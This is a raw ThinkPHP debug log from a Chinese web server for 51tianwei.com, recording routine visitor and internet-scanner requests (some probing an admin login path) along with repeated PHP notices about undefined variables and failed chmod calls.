Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:26:15+08:00 ] 185.165.191.27 GET 59.110.137.245/ [运行时间:0.029130s] [吞吐率:34.33req/s] [内存消耗:159.99kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => '59.110.137.245', 'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'user-agent' => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:26:17+08:00 ] 185.165.191.27 GET 59.110.137.245/sitemap.xml [运行时间:0.000884s] [吞吐率:1,131.46req/s] [内存消耗:140.66kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T12:26:17+08:00 ] 185.165.191.27 GET 59.110.137.245/.well-known/security.txt [运行时间:0.001017s] [吞吐率:983.42req/s] [内存消耗:140.70kb] [文件加载:26] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T12:26:18+08:00 ] 185.165.191.27 GET 59.110.137.245/favicon.ico [运行时间:0.008519s] [吞吐率:117.39req/s] [内存消耗:132.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'connection' => 'keep-alive', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:26:25+08:00 ] 59.82.83.219 GET 59.110.137.245/ [运行时间:0.001239s] [吞吐率:807.06req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:26:25+08:00 ] 59.82.83.219 GET 59.110.137.245/ [运行时间:0.001255s] [吞吐率:796.79req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:26:25+08:00 ] 59.82.83.219 GET 59.110.137.245/favicon.ico [运行时间:0.002102s] [吞吐率:475.71req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:29:18+08:00 ] 113.215.188.18 GET 59.110.137.245/ [运行时间:0.001348s] [吞吐率:741.83req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:29:18+08:00 ] 113.215.188.18 GET 59.110.137.245/ [运行时间:0.001264s] [吞吐率:791.08req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:29:18+08:00 ] 113.215.188.18 GET 59.110.137.245/favicon.ico [运行时间:0.002309s] [吞吐率:433.12req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; ASUS_X00TD; Flow) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/359.0.0.288 Mobile Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:33:30+08:00 ] 218.66.171.228 HEAD apd-ugcvlive.apdcdn.tc.qq.com/vipzj.video.tc.qq.com/AwHbki43ZEWcbm0BYGxr4Bl6wFftEVod8g0sSOZZpp8E/B_efeEBb4uHJ8TOTkZIB0oovE9Tfuz9EReI3XEHk1xeI0SOEOIGsJskfQsqEp2njzp/svp_50112/gzc_1000102_0b53xeaboaaarmadruziwvr4boodc62qae2a.f2.mp4?vkey=4A1891EAD83E7847FC69D6387D602B58D8E5167637C7C7D172B55E2BBE56BE6C8B35A88F11A1590B6DECC5FD769F7A0F422BDD3EBC7C972E063C883F00BC88FBCE9305AC82AF882BB285B728C782C721C892095D54BD101474CE8F216540D58882848C04790D258DE5C163D461D064D558A8BEC00EB4209C34B3B509B292C90149F8AA3C1B30DE46 [运行时间:0.001885s] [吞吐率:530.52req/s] [内存消耗:135.68kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'vipzj.video.tc.qq.com', 2 => 'AwHbki43ZEWcbm0BYGxr4Bl6wFftEVod8g0sSOZZpp8E', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'apd-ugcvlive.apdcdn.tc.qq.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://apd-ugcvlive.apdcdn.tc.qq.com', ) [ info ] [ PARAM ] array ( 'vkey' => '4A1891EAD83E7847FC69D6387D602B58D8E5167637C7C7D172B55E2BBE56BE6C8B35A88F11A1590B6DECC5FD769F7A0F422BDD3EBC7C972E063C883F00BC88FBCE9305AC82AF882BB285B728C782C721C892095D54BD101474CE8F216540D58882848C04790D258DE5C163D461D064D558A8BEC00EB4209C34B3B509B292C90149F8AA3C1B30DE46', 'B_efeEBb4uHJ8TOTkZIB0oovE9Tfuz9EReI3XEHk1xeI0SOEOIGsJskfQsqEp2njzp' => 'svp_50112', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T12:35:29+08:00 ] 101.132.83.153 GET www.51tianwei.com/ [运行时间:0.001587s] [吞吐率:630.15req/s] [内存消耗:159.67kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G955U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Mobile Safari/537.36', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:39:47+08:00 ] 95.214.53.91 GET 59.110.137.245/ [运行时间:0.001375s] [吞吐率:727.17req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:45:39+08:00 ] 95.214.55.79 GET 59.110.137.245/ [运行时间:0.042943s] [吞吐率:23.29req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T12:48:33+08:00 ] 45.84.89.2 GET 59.110.137.245/ [运行时间:0.001631s] [吞吐率:613.20req/s] [内存消耗:159.79kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/6.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Inspici (www.inspici.com)', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:04:01+08:00 ] 205.210.31.36 GET 51tianwei.com/admin/auth/login [运行时间:0.125325s] [吞吐率:7.98req/s] [内存消耗:133.09kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:06:38+08:00 ] 198.235.24.51 GET www.51tianwei.com/admin/auth/login [运行时间:0.017517s] [吞吐率:57.09req/s] [内存消耗:133.10kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'auth', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:25:03+08:00 ] 95.214.55.43 GET 59.110.137.245/ [运行时间:0.318424s] [吞吐率:3.14req/s] [内存消耗:160.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46', 'accept-encoding' => 'gzip, deflate, gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'x-requested-with' => 'XMLHttpRequest', 'content-type' => 'application/x-www-form-urlencoded; charset=UTF-8', 'accept-language' => 'en US,en;q=0.9,sv;q=0.8', 'host' => '59.110.137.245', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:22+08:00 ] 179.43.168.146 GET 59.110.137.245/ [运行时间:0.031689s] [吞吐率:31.56req/s] [内存消耗:159.27kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9tcpid/v1.1.0', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ 